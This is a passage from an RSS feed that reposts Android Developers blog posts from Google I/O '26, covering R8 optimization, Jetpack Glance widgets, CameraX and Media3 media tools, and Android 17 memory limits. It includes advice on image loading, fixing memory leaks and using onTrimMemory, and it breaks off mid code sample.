restricted local network access. You can start testing today by enrolling your device <a href="https://android-developers.googleblog.com/2026/04/the-fourth-beta-of-android-17.html">in the Beta</a> or using the latest 17.0 emulator images. <br><br>One more thing. the third beta of our Android 17 quarterly platform release (QPR1) just came out, and it contains a minor SDK release to support a few features that just couldn't wait for QPR2.

  <h2><strong><span>Check out all of the Android &amp; Play Content at Google I/O </span></strong></h2>
  <p><span face="sans-serif">This was just a preview of some of the updates for Android developers at Google I/O. Tune into <a href="https://io.google/2026/explore/pa-keynote-5">What’s New in Android</a> for the latest news and announcements and <a href="https://io.google/2026/">follow Google I/O</a> for much more over the following week!</span></p></div>]]></content:encoded>
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<title><![CDATA[Building Premium Android Experiences at Google I/O ‘26]]></title>
<description><![CDATA[Posted by Ataul Munim, Android Developer Relations Engineer



  
    
  



  A truly differentiated Android experience is about delivering premium delight wherever your users are. At Google I/O ‘26, we showcased how the latest advancements in the Android ecosystem can help you elevate your app'...]]></description>
<link>https://tsecurity.de/de/3693509/android-tipps/building-premium-android-experiences-at-google-io-26/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693509/android-tipps/building-premium-android-experiences-at-google-io-26/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:42 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhKGsnLX5Gwc9xouq7Q32ltvbL7xW_d4jnCXtoEFr7emB2wzqlZEuXM8FXe22ZPSguMX-nOrxAPYja6AYBZWxF-lKJYxw09D3f2aMyjxsSi5jinnDBjJPOIFDyqVhuJC2SjOqKHLAmstGg1nhyphenhyphenJGYfp3m71TPL_i3xFAUm6PKp3uo5WVytjoRwTIoNmMVQ/s4097/MM_Differentiated%20Experiences_Meta.png">

<div>
  <div class="separator"><em>Posted by Ataul Munim, Android Developer Relations Engineer</em></div>
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<div class="separator">
  <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjimB7lZHnz1Nqt-CPhoIzMWWup9qcJd2B3wzfmG2kX-4HwtnEfrSrp9J2e7aINQrh8SaPd_mP7DvY6nQiP_K2nEju5nOCwbTan-oVeZ8rmoW1R5CvErSIFXPeuIXS7LsB8TnZZee462-ygL5IbOZ2m_C3rAcXEiv08HrPjPrku0oB-T70JyXM6lmgxzmg/s4209/MM_Differentiated-Experiences_Blog%20(1).png">
    <img border="0" data-original-height="1253" data-original-width="4209" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjimB7lZHnz1Nqt-CPhoIzMWWup9qcJd2B3wzfmG2kX-4HwtnEfrSrp9J2e7aINQrh8SaPd_mP7DvY6nQiP_K2nEju5nOCwbTan-oVeZ8rmoW1R5CvErSIFXPeuIXS7LsB8TnZZee462-ygL5IbOZ2m_C3rAcXEiv08HrPjPrku0oB-T70JyXM6lmgxzmg/s16000/MM_Differentiated-Experiences_Blog%20(1).png">
  </a>
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<div class="separator">
  A truly differentiated Android experience is about delivering premium delight wherever your users are. At Google I/O ‘26, we showcased how the latest advancements in the Android ecosystem can help you elevate your app's quality while maximizing development efficiency.
</div>

<div>
  <p>To help you build apps that stand out, we're diving into the key tools and libraries designed to optimize your core performance, extend the surfaces of your app to other devices, and streamline how your app handles high-quality media. </p>
  <p>Here is a recap of the essential updates and sessions you need to know to deliver a next-level experience across form factors!</p>
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<div class="separator">
  
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<h3>Maximize app performance and ROI with the R8 Configuration Analyzer</h3>
<p>A premium experience is only as good as its foundation, and a performant foundation is what allows your app to scale across the Android ecosystem. This is especially true with the release of Android 17, which introduces conservative, device RAM-based app memory limits to target extreme memory leaks and outliers before they cause system-wide instability. To stay below these new system thresholds and prevent your app from being terminated, having a lean footprint is no longer optional: it’s a critical requirement.</p>
<p>This year, we’re making it easier to build highly optimized, fast apps by introducing the <a href="https://developer.android.com/topic/performance/app-optimization/r8-configuration-analyzer" target="_blank">R8 Configuration Analyzer</a> in Android Studio. R8 is your most powerful tool for improving app performance, but its effectiveness is often limited by overly broad "keep rules" that prevent the compiler from stripping away unused code. The new Configuration Analyzer provides optimization, obfuscation, and shrinking scores, allowing you to identify specific rules that are preventing the benefits of R8 optimization.</p>
<p>By optimizing their R8 configurations, developers at Monzo achieved a 30% improvement in cold starts and a 35% reduction in ANRs. Smaller, faster code isn't just about efficiency; it's about ensuring your app has the memory headroom to deliver delight on every form factor, from the phone to the car.</p>

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<h3>Extend your reach with a unified approach to Widgets on Phones, Watches and Cars</h3>
<p>User interaction is shifting toward quick, glanceable moments—short bursts of information that keep users connected without needing to open the full app. To help you increase the reach of your app content, we are unifying the development experience across the Android ecosystem with Jetpack Glance. By using a consistent, Compose-based model, you can elevate the content most important to your users straight to the phone’s home screen, Wear Widgets (previously Tiles!), and cars with a familiar workflow.</p>
<p>In order to help users engage with your content and features, even outside your app, we are making widgets more expressive and adaptive with RemoteCompose. On Wear OS, RemoteCompose allows you to use the Compose tools you’re already comfortable with to define UI logic that renders natively on remote surfaces, ensuring that your glanceable experiences remain highly performant and responsive even on resource-constrained hardware. On mobile and cars, RemoteCompose is used as a new framework giving Widgets new expressive capabilities.</p>
<p>You can use Jetpack Glance (together with RemoteCompose on Wear) to deliver a cohesive user journey. Whether it’s viewing flight status on the car dashboard, checking a gate change on a watch, or managing a boarding pass from a phone widget, this shared approach maximizes your app’s presence while keeping your development effort focused and efficient.</p>

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  <h3>Supercharge your media pipeline with a complete, production-ready toolkit</h3>
  <div>Android has become a world-class home for the entire media lifecycle, and we are simplifying the journey from the first capture to the final playback. By leveraging Jetpack CameraX and Media3, you can build professional-grade experiences that feel native across the entire ecosystem. </div>
  <p>It starts with high-fidelity capture using the CameraXViewfinder Composable, which ensures your preview remains perfectly scaled and responsive on any form factor, including foldables and tablets. Use this to build adaptive capture experiences like a picture-in-picture view for multi-tasking, or that take advantage of modern features like high-frame-rate or slow-motion capture with CameraX v1.5.<br></p>
  <p>The new Media3 AI Effects library will provide a unified interface for premium features like Image &amp; Video Enhance, Magic Eraser, and Studio Sound. This allows you to focus on the creative intent while Media3 handles the heavy lifting of choosing the most efficient and reliable path for the device. Then, use the latest improvements in multi-asset editing with Media3 Transformer to composite your edited videos together!</p>
  <p>Complete the pipeline with tools designed for professional-grade export and viewing, including:</p>
  <ul>
    <li>CodecDB, which offers data-driven encoding recommendations tailored to specific chipsets, ensuring your exported videos maintain high visual quality with minimal noise or blurriness</li>
    <li>Scrubbing Mode in ExoPlayer to provide the buttery-smooth seeking experience users expect from premium media apps</li>
    <li>Enhanced Cast support with the new CastPlayer API in Media3</li>
  </ul>
  <p>By unifying these technical pillars, you can build a cohesive, high-performance media journey that delivers both delight for your users and high ROI for your development team.</p>
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<p>For more details, check out the <i>premium</i> Android experience <a href="https://youtube.com/playlist?list=PLWz5rJ2EKKc8lSdmWQ_fSpV9yEGRvEL6S&amp;si=H6-8-AbtEyTqSxeY" target="_blank">YouTube playlist</a>.</p>]]></content:encoded>
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<title><![CDATA[Prioritizing Memory Efficiency: Essential Steps for Android 17]]></title>
<description><![CDATA[Posted by Alice Yuan, Developer Relations Engineer, Ajesh Pai, Developer Relations Engineer, and Fung Lam, Developer Relations Engineer



    
        
    



    While app performance is often equated with a smooth UI and fast start times, memory serves as the silent foundation upon which thes...]]></description>
<link>https://tsecurity.de/de/3693508/android-tipps/prioritizing-memory-efficiency-essential-steps-for-android-17/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693508/android-tipps/prioritizing-memory-efficiency-essential-steps-for-android-17/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:41 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhCIAoJpwUITPS5C3_eTksMsaslwqPk7SIEQHkwEkGv8572ccdIKcdv6kNC1BOSJPAZTgX5m3liMMv4zdK58e5dWRhUfo39uas23LuhEWf13TFnDTdw-Z5mWn4JarSnC8yCET8Sw15zSF-jQ5zwALriacGK6IjAGxNg61sFtSxzndjvqXxZtJt4qxuzd9A/s2048/Engineering-Memory-Blog-Meta-3.png">

<div class="separator">
    <em>Posted by Alice Yuan, Developer Relations Engineer, Ajesh Pai, Developer Relations Engineer, and Fung Lam, Developer Relations Engineer</em>
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<div class="separator">
    <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhanYZz4QpaDuwP7y_ZVGCUh6TpdQxS65pBcYr-Qkawd9YFS587tnIUPnqDROlxIXzgdz6GGxluR3LzH8ZabQPWz382FDEOEDpK3GxUFywn0A54JXFtUwDPaeI0JnFhEl-6NRrcjKeFPMLozNQv_An9OcWEUA-rmXfOhWvIKRrptdblGEZHERD0P-ynFcc/s4209/Engineering-Memory-Blog-3.png">
        <img border="0" data-original-height="1253" data-original-width="4209" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhanYZz4QpaDuwP7y_ZVGCUh6TpdQxS65pBcYr-Qkawd9YFS587tnIUPnqDROlxIXzgdz6GGxluR3LzH8ZabQPWz382FDEOEDpK3GxUFywn0A54JXFtUwDPaeI0JnFhEl-6NRrcjKeFPMLozNQv_An9OcWEUA-rmXfOhWvIKRrptdblGEZHERD0P-ynFcc/s16000/Engineering-Memory-Blog-3.png">
    </a>
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<p>
    While app performance is often equated with a smooth UI and fast start times, memory serves as the silent foundation upon which these visible metrics are built. It's no secret that we're seeing a shift where device memory is more important than ever. Not only have we made strides in Android memory optimizations with Android 17, we're providing the tooling and API support to help you stay ahead of stricter memory requirements later this year.
</p>

<p>
    To ensure device stability, starting in Android 17, the system will begin enforcing app memory limits based on the device's total RAM. If an app exceeds those limits, Android will kill the process with no associated stack trace.
</p>

<div>
    Beyond these forced terminations, unoptimized memory usage inevitably degrades the user experience. When the app approaches heap memory limits, it triggers frequent garbage collection—leading to noticeable UI stutters. Furthermore, when a device runs out of available memory, the system scrambles to reclaim pages, causing CPU strain, UI latency, and battery drain. If the memory shortage is too severe, it can cause Low Memory Killer (LMK) events that abruptly terminate background processes and force apps to have slow cold starts and lose user state.
</div>

<div>
    <p>To build highly performant apps and avoid these forced terminations, we recommend that you adopt the following memory optimization strategies:</p>
    <ol>
        <li><a href="http://android-developers.googleblog.com/2026/06/prioritizing-memory-efficiency-steps-for-android-17.html#Maximize">Maximize bytecode optimization with R8</a></li>
        <li><a href="http://android-developers.googleblog.com/2026/06/prioritizing-memory-efficiency-steps-for-android-17.html#Optimize">Optimize image loading</a></li>
        <li><a href="http://android-developers.googleblog.com/2026/06/prioritizing-memory-efficiency-steps-for-android-17.html#Detect">Detect and fix memory leaks with Android Studio</a></li>
        <li><a href="http://android-developers.googleblog.com/2026/06/prioritizing-memory-efficiency-steps-for-android-17.html#Trim">Trim memory when app leaves visible state</a></li>
        <li><a href="http://android-developers.googleblog.com/2026/06/prioritizing-memory-efficiency-steps-for-android-17.html#Advanced">Advanced memory observability with ProfilingManager</a></li>
    </ol>
</div>
<br>
<div>
    <div class="separator">
        
    </div>
    <div>
        <em>A condensed version of this blog post is also available in video format, go check it out!</em>
    </div>
    
    <h3>Understanding Android 17 app memory limits</h3>
    <p>App memory limits are being introduced in Android 17 to prevent "one bad actor" from destroying the multitasking experience and stability of the user’s entire device.</p>
    <p>Here is a breakdown of the reasons driving this architectural change:</p>
    
    <div>
        <ul>
            <li><b>Preventing cascading kills:</b> When an app becomes bloated or leaks memory while holding a privileged state (e.g. it’s running a Foreground Service), it is initially shielded from the system's Low Memory Killer (LMK). As this single app grows unchecked and hoards RAM, the LMK is forced to compensate by killing off dozens of smaller, well-behaved cached apps and background jobs to reclaim space for the memory hog.</li>
            <li><b>Preserving multitasking and user state:</b> When the system is forced to purge cached apps to accommodate a single leaking process, the multitasking experience is severely degraded. Users returning to prior cached applications encounter sluggish cold starts instead of near-instant warm resumes. This inefficiency generates more CPU strain and accelerates battery depletion. It can also destroy the user’s context in recently used apps, such as scroll positions, navigation stacks, and in-game progress.</li>
        </ul>
        
        <div>
            <p>To determine if your app session was impacted by these constraints in the field, you can call <a href="https://developer.android.com/reference/android/app/ApplicationExitInfo#getDescription%28%29" target="_blank">getDescription()</a> within <a href="https://developer.android.com/reference/android/app/ApplicationExitInfo" target="_blank">ApplicationExitInfo</a>. If the system applied a limit, the exit reason is reported as <a href="https://developer.android.com/reference/android/app/ApplicationExitInfo#REASON_OTHER" target="_blank">REASON_OTHER</a> and the description string will contain "MemoryLimiter:AnonSwap". You can also leverage <a href="https://developer.android.com/topic/performance/tracing/profiling-manager/trigger-based-capture" target="_blank">trigger-based profiling</a> using <a href="https://developer.android.com/about/versions/17/features#anomaly-profiling-trigger" target="_blank">TRIGGER_TYPE_ANOMALY</a> to automatically capture heap dumps when the memory limit is reached. Furthermore, Android is actively working to surface more in-field memory metrics to developers within the Google Play Console.</p>
            <p>We have also expanded our <a href="https://developer.android.com/about/versions/17/behavior-changes-all#app-memory-limits" target="_blank">memory limits documentation</a> to include local debugging commands, allowing you to simulate memory constraints in your local environment and validate your application's behavior under any memory limit enforcement. </p>
        </div>
    </div>
</div>

<div>
    <h3>Maximize bytecode optimization with R8</h3>
    <p>A highly effective way to reduce your app's memory footprint is to enable the R8 optimizer. By shrinking classes, methods, and fields into shorter names and stripping out unused code and resources, R8 significantly reduces your app's memory footprint by minimizing the amount of resident code required during execution. </p>
    <p>R8 minimizes resident code, shrinking the memory footprint and lowering LMK termination risk. This results in more frequent warm starts over slow cold starts. Additionally, streamlined bytecode reduces main-thread CPU overhead, directly cutting ANR rates for a more fluid user experience. For example, the digital bank <a href="https://developer.android.com/blog/posts/monzo-boosts-performance-metrics-by-up-to-35-with-a-simple-r8-update" target="_blank">Monzo</a> enabled full R8 optimization and saw a 35% reduction in their ANR rate, a 30% improvement in cold start rate, and a 9% reduction in overall app size.</p>
</div>

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    <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhB61hi7-o6RYAHNOoIg1egyi6iU3iGtLbwfOb-s6r_PadBV2LZzvYtcdD00iwcApjnqmwOssOLFSHv8MG_es8WJWaJUPaO6rMY4ZcINSBFROo_1Di3LVMvIEhPldpzQsUOxV1Z7VfPwvej2fa9a7yCNwBdGOGw2LMLtPrCST6InlqF1xHds30rS76C9no/s2500/pic1-IO26_113_TSV-monzo-casestudy.jpg">
        <img border="0" data-original-height="1406" data-original-width="2500" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhB61hi7-o6RYAHNOoIg1egyi6iU3iGtLbwfOb-s6r_PadBV2LZzvYtcdD00iwcApjnqmwOssOLFSHv8MG_es8WJWaJUPaO6rMY4ZcINSBFROo_1Di3LVMvIEhPldpzQsUOxV1Z7VfPwvej2fa9a7yCNwBdGOGw2LMLtPrCST6InlqF1xHds30rS76C9no/s16000/pic1-IO26_113_TSV-monzo-casestudy.jpg">
    </a>
</div>
<div>
    <i>The digital bank <a href="https://developer.android.com/blog/posts/monzo-boosts-performance-metrics-by-up-to-35-with-a-simple-r8-update" target="_blank">Monzo</a> enabled full R8 optimization and boosted performance metrics by up to 35%.</i>
</div>

<div>
    <p>To properly configure R8 in your <code>build.gradle</code> file:</p>
    <ul>
        <li>Set <code>isShrinkResources = true</code> and <code>isMinifyEnabled = true</code>.</li>
        <li>Use <code>proguard-android-optimize.txt</code> instead of the legacy <code>proguard-android.txt</code>, which actually prevents optimizations and is no longer supported in Android Gradle Plugin 9.</li>
        <li>Remove <code>android.enableR8.fullMode = false</code> from your <code>gradle.properties</code>.</li>
    </ul>
    
    <p>
        If you are using reflection in your code base, then add <a href="https://developer.android.com/topic/performance/app-optimization/keep-rules-overview#where-to-add-rules" target="_blank">Keep rules</a> to prevent R8 from optimizing those parts of the code. Make sure to scope the keep rules narrowly to get the maximum optimization.
    </p>
    <p>To get the maximum optimization, make sure to follow these best practices in your keep rule file.</p>
    
    <ul>
        <li>Remove global options like <code>-dontoptimize</code>, <code>-dontshrink</code>, and <code>-dontobfuscate</code> that prevent R8 from optimizing the entire codebase </li>
        <li>Remove keep rules that prevent optimizing Android components like Activity, Services, Views or Broadcast receivers.</li>
        <li>Refine the broad package wide keep rules to target only specific classes or methods.</li>
    </ul>
    
    <p>To see more best practices, view our <a href="https://developer.android.com/topic/performance/app-optimization/keep-rules-best-practices" target="_blank">keep rules documentation</a>.</p>
    
    <h3>Library Developer R8 Best Practices</h3>
    <p>If you are a library developer, strictly place the rules your consumers need into your <code>consumer-rules</code> file, and keep your library's internal protection rules in your <code>proguard-rules.pro</code> file. For more information on how to optimize libraries, see <a href="https://developer.android.com/topic/performance/app-optimization/library-optimization" target="_blank">Optimization for library authors</a>.</p>
    
    <h3>R8 Configuration Analyzer</h3>
    <p>To audit your R8 optimization, use the <b><a href="http://developer.android.com/r8-analyzer" target="_blank">Configuration Analyzer</a></b>. Configuration analyzer shows the current state of optimization with Obfuscation, Optimization, and Shrinking scores. With configuration analyzer, you can also understand how many classes, methods or fields are prevented from optimization by each keep rule. Refine these broad package wide keep rules to unlock the maximum optimization.</p>
    <p>Using configuration analyzer, you can also identify keep rules that are subsuming other keep rules, redundant keep rules and unused keep rules.</p>
</div>

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        <img border="0" data-original-height="1156" data-original-width="2048" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEib0dTmk8w7EYsDiV0Ufd8CAnpWz36-ZDC_gCGFkS_0CGz0axCxOy3RBxuaOoUbR4kzaeFBXryfSR2rkxRsmTXNrPtuJw8n1DTiZiKDqHjv3AaEXteE9TKV3QxYtwCztvY-8a0GpBlOZhVV1p0ftgdxeiKGGnO3dLu_IOt-TB_7j-ZnbR2jSr_CNYzh-bc/s16000/pic2-r8-config-analyzer.png">
    </a>
</div>
<div>
    <i>The Configuration Analyzer shows the current state of optimization with Obfuscation, Optimization, and Shrinking scores.</i>
</div>

<div>
    <h4><span>R8 Agent Skill </span></h4>
    <p>You can also leverage the <b><a href="https://github.com/android/skills/tree/main/performance/r8-analyzer" target="_blank">R8 Agent Skill</a></b> with Android Studio agent or other AI tools to resolve misconfigurations and refine your rules resulting in improved app performance. <i>(Insights from AI-driven skills will require technical verification)</i></p>
</div>

<h3>Optimize image loading</h3>
<div>
    <p>Bitmaps are usually the largest common objects residing in your app's memory. They represent the final stage of the image loading process where compressed files, like JPEGs or PNGs, are decoded into raw pixel data for display. This means a tiny 100KB compressed image can balloon into several megabytes of RAM because memory consumption is determined by the image's pixel dimensions and color depth. Since bitmap operations are frequently on the critical path to drawing frames, unoptimized images cause severe memory bloat and UI jank.</p>
    <p>Google recommends leveraging image loading libraries <b><a href="https://github.com/coil-kt/coil" target="_blank">Coil</a></b> for Kotlin-first projects, particularly when developing with Jetpack Compose and <b><a href="https://github.com/bumptech/glide" target="_blank">Glide</a></b> for Java-based applications.</p>
    
    <h4><span>Adopt these five best practices</span></h4>
    <ol>
        <li><b>Downsample images:</b> If you’re loading bitmaps manually, avoid loading a massive image into a tiny thumbnail view; use <a href="https://developer.android.com/topic/performance/graphics/load-bitmap" target="_blank">inSampleSize</a> to load a smaller version. Glide and Coil downsamples images by default and you can configure this downsample strategy using <a href="https://bumptech.github.io/glide/javadocs/470/com/bumptech/glide/load/resource/bitmap/DownsampleStrategy.html" target="_blank">DownsampleStrategy</a> and <a href="https://coil-kt.github.io/coil/image_loaders/" target="_blank">ImageLoader</a> respectively.</li>
        <li><b>Cropping:</b> Avoid embedding padding directly into an image file for letterboxing purposes (e.g., creating a transparent border to expand an image dimensions). Rather than baking in these borders, utilize <a href="https://developer.android.com/reference/android/graphics/drawable/InsetDrawable" target="_blank">InsetDrawable</a> or apply padding directly within the View or Composable containing the bitmap.</li>
        <li><b>Config:</b> Balance memory and quality by choosing the right pixel format. Use <code>RGB_565</code> when transparency isn't needed, which uses half the memory of the default <code>ARGB_8888</code> format. In Glide you can configure this by using <a href="https://bumptech.github.io/glide/javadocs/470/com/bumptech/glide/load/DecodeFormat.html" target="_blank">DecodeFormat</a> and in Coil you can use <a href="https://coil-kt.github.io/coil/api/coil-core/coil3.request/-image-request/" target="_blank">bitmapConfig</a> property.</li>
        <li><b>Prioritize vector drawables:</b> For basic geometric assets, leverage <a href="https://developer.android.com/reference/android/graphics/drawable/ShapeDrawable" target="_blank">ShapeDrawable</a> as a lightweight alternative to decoding rasterized bitmaps. By defining these assets once via XML, you ensure they scale seamlessly across all display densities while effectively eliminating resource-driven memory bloat.</li>
        <li><b>Reuse:</b> If your application manages Bitmaps manually then to minimize memory churn, when a bitmap is no longer required, the app should call <code>bitmap.recycle()</code> and immediately discard the Bitmap reference. If you use an image loading library like Glide or Coil, return the bitmap to the library’s managed pool. By providing an existing buffer for future memory needs, the pool effectively avoids the overhead of new allocations.</li>
    </ol>
    
    <p>Check out our documentation on <a href="https://developer.android.com/develop/ui/compose/graphics/images/optimization" target="_blank">Optimizing performance for images</a> to learn more.</p>
    
    <h4><span>Android Studio tooling</span></h4>
    <p>You can also eliminate redundant bitmaps using Android Studio Narwhal 4. Here is how to hunt them down in five simple steps:</p>
    <ol>
        <li>Open the <b>Profiler</b> tab in Android Studio</li>
        <li>Click <b>Heap Dump</b> (or "Analyze Memory Usage") and hit record to take a snapshot of your app’s current memory state.</li>
        <li>Scan the analysis results for the <b>yellow warning triangle</b> ⚠️, which Android Studio uses to flag duplicate bitmaps being stored multiple times. Alternatively, navigate to the profiler header, choose "Filter by:" and pick the "Duplicate Bitmaps" setting.</li>
        <li>Click on any flagged entry to open the <b>Bitmap Preview</b> pane, allowing you to see exactly which image is the repeat offender.</li>
        <li>Use that visual confirmation to track down the redundant loading logic in your code and implement a better caching strategy.</li>
    </ol>
</div>

<div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiDJ6djtozFY7DzrGB-EN8ajLVueF9MdLd4mod4jhtO8YwCzU7ObOwQ2w0Bap5A5NHJ7KVnXIRQqhW8cTdcFhMJPw5FIW1WU7D_Mwm-UC9Fsdr-MOn62xijpjKcS0NeUBnO957jmogGEISNQgeZQk3BVvUWK4BknTjLiuK2TbWCqwO3uTLkjkFhLwJre7w/s2379/pic3-IO26_113_TSV%20-dup-bitmaps-cropped.jpg"><img border="0" data-original-height="1162" data-original-width="2379" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiDJ6djtozFY7DzrGB-EN8ajLVueF9MdLd4mod4jhtO8YwCzU7ObOwQ2w0Bap5A5NHJ7KVnXIRQqhW8cTdcFhMJPw5FIW1WU7D_Mwm-UC9Fsdr-MOn62xijpjKcS0NeUBnO957jmogGEISNQgeZQk3BVvUWK4BknTjLiuK2TbWCqwO3uTLkjkFhLwJre7w/s16000/pic3-IO26_113_TSV%20-dup-bitmaps-cropped.jpg"></a></div><div class="separator"><i>Look for the yellow warning triangle ⚠️ in heap dumps when using the Android Studio Profiler.</i></div>

<h3>Detect and fix memory leaks with Android Studio</h3>
<p>Memory leaks in Android occur when your code holds onto an object's reference long after its lifecycle has ended. This prevents the Garbage Collector (GC) from reclaiming that memory, eventually leading to sluggish performance or OutOfMemoryError (OOM).</p>
<p>Android Studio Panda 3 features a dedicated <a href="https://square.github.io/leakcanary/" target="_blank">LeakCanary</a> profiler task, allowing developers to analyze real-time memory leaks and map traces within the IDE.</p>
<p>The LeakCanary profiler task in Android Studio actively moves the memory leak analysis from your device to your development machine, resulting in a significant performance boost during the leak analysis phase as compared to on-device leak analysis.</p>

<div class="separator">
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    </a>
</div>
<div>
    <i>LeakCanary memory leak analysis contextualized with <b>Go to declaration</b> for debugging</i>
</div>

<p>Additionally, the leak analysis is now contextualized within the IDE and fully integrated with your source code, providing features like go to declaration and other helpful code connections that drastically reduce the friction and time required to investigate and fix memory leaks.</p>

<div>
    <h4><span>Examples of common memory leaks </span></h4>
    <p>Memory leaks occur when an object persists in memory beyond its intended lifespan. This typically happens due to:</p>
    <ul>
        <li>Retaining references to Fragments, Activities, or Views that are no longer in use.</li>
        <li>Mismanaging Context references.</li>
        <li>Failing to properly unregister observers, listeners, and receivers.</li>
        <li>Creating static references to objects that are bound to components with shorter lifecycles.</li>
    </ul>
    
    <p>Here are a few example scenarios:</p>
    
    <div align="left" dir="ltr">
        <table>
            <colgroup>
                <col>
                <col>
                <col>
            </colgroup>
            <tbody>
                <tr>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Scenario</span></p>
                    </td>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Compose-based example</span></p>
                    </td>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">View-based example</span></p>
                    </td>
                </tr>
                <tr>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Leaking Context</span></p>
                    </td>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Example:</span><br><span face="'Google Sans',sans-serif">Passing LocalContext.current to a ViewModel</span></p>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Fix:</span><br><span face="'Google Sans',sans-serif">Keep <code>Context</code> dependent logic within the UI layer. For non-UI layers, refactor to use <a href="https://developer.android.com/training/dependency-injection">dependency injection</a> or observe UI state using <a href="https://developer.android.com/kotlin/flow">Kotlin flow</a>.</span></p>
                    </td>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Example:</span><br><span face="'Google Sans',sans-serif">Storing an <code>Activity</code> in a companion object or static variable.</span></p>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Fix:</span><br><span face="'Google Sans',sans-serif">Don’t hold static references to UI components. Refactor to use <a href="https://developer.android.com/training/dependency-injection">dependency injection</a> or observe UI state using <a href="https://developer.android.com/kotlin/flow">Kotlin flow</a>.</span></p>
                    </td>
                </tr>
                <tr>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Leaking Listeners</span></p>
                    </td>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Example:</span><br><span face="'Google Sans',sans-serif">Using <code>DisposableEffect</code> to start a listener but leaving <code>onDispose</code> empty.</span></p>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Fix:</span><br><span face="'Google Sans',sans-serif">Perform the unregistration and <a href="https://developer.android.com/develop/ui/compose/side-effects#disposableeffect">cleanup logic</a> inside the <code>onDispose</code> block.</span></p>
                    </td>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Example:</span><br><span face="'Google Sans',sans-serif">Registering for SensorManager updates and forgetting to unregister.</span></p>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Fix:</span><br><span face="'Google Sans',sans-serif">Manually call <code>unregisterListener()</code> in <code>onStop()</code> or <code>onDestroy()</code> lifecycle.</span></p>
                    </td>
                </tr>
                <tr>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Leaking Views</span></p>
                    </td>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Example:</span><br><span face="'Google Sans',sans-serif">Holding a reference to a legacy <code>View</code> inside an <code>AndroidView</code> without a release strategy.</span></p>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Fix:</span><br><span face="'Google Sans',sans-serif">Use the <code>release</code> block of the <code>AndroidView</code> composable to clean up the legacy <code>View</code>.</span></p>
                    </td>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Example:</span><br><span face="'Google Sans',sans-serif">Keeping a reference to a view binding object after the <code>Fragment</code> is destroyed.</span></p>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Fix:</span><br><span face="'Google Sans',sans-serif">Set the binding variable to <code>null</code> inside the <code>onDestroyView</code>() lifecycle method.</span></p>
                    </td>
                </tr>
            </tbody>
        </table>
    </div>
</div>

<h3>Trim memory when app leaves visible state</h3>
<p>Android can reclaim memory from your app or stop your app entirely if necessary to free up memory for critical tasks, as explained in <a href="https://developer.android.com/topic/performance/memory-overview" target="_blank">Overview of memory management</a>. Android will usually reclaim memory from your app when it’s not visible to the user, such as by discarding some of your app’s code and data pages in memory or compressing your heap allocations. When the user resumes your app and your app tries to access some memory that’s been reclaimed, the OS will swap that memory back in on demand. This swapping behavior can be slow, and cause unexpected jank or stutters in your app.</p>
<p>If you leave it to the OS to decide what memory to reclaim from your app, you may find that the OS reclaimed memory that you’ll need shortly after resuming your app. Instead, your app can voluntarily discard memory allocations that it can regenerate later, on demand and at a low cost. To do so, you can implement the <code>ComponentCallbacks2</code> interface. You can implement <code>onTrimMemory</code> in your <code>Activity</code>, <code>Fragment</code>, <code>Service</code>, or even your custom <code>Application</code> class. Using it in the <code>Application</code> class is highly effective for global cache management.</p>
<p>The provided <a href="https://developer.android.com/reference/android/content/ComponentCallbacks2#onTrimMemory(int)" target="_blank">onTrimMemory()</a> callback method notifies your app of lifecycle or memory-related events that present a good opportunity for your app to voluntarily reduce its memory usage.</p>
<p>In terms of memory lifecycle management, your implementation should focus <b>exclusively</b> on <code>TRIM_MEMORY_UI_HIDDEN</code> and <code>TRIM_MEMORY_BACKGROUND</code>. Since Android 14, the system has ceased delivering notifications for other legacy constants, which were formally deprecated in Android 15.</p>
<p><code>TRIM_MEMORY_UI_HIDDEN</code>: This signal indicates that your application's UI has transitioned out of the user's view. This provides an opportunity to release substantial memory allocations tied strictly to the interface—such as Bitmaps, video playback buffers, or complex animation resources.</p>
<p><code>TRIM_MEMORY_BACKGROUND</code>: At this level, your process is residing in the background and is now a candidate for termination to satisfy the system's global memory needs. To extend the duration your process remains in the cached state, and reduce the number of app cold starts, you should aggressively release any resources that can be easily reconstructed once the user resumes their session.</p>

<pre><code>import android.content.ComponentCallbacks2
// Other import statements.

class MainActivity : AppCompatActivity(), ComponentCallbacks2 {

    /**
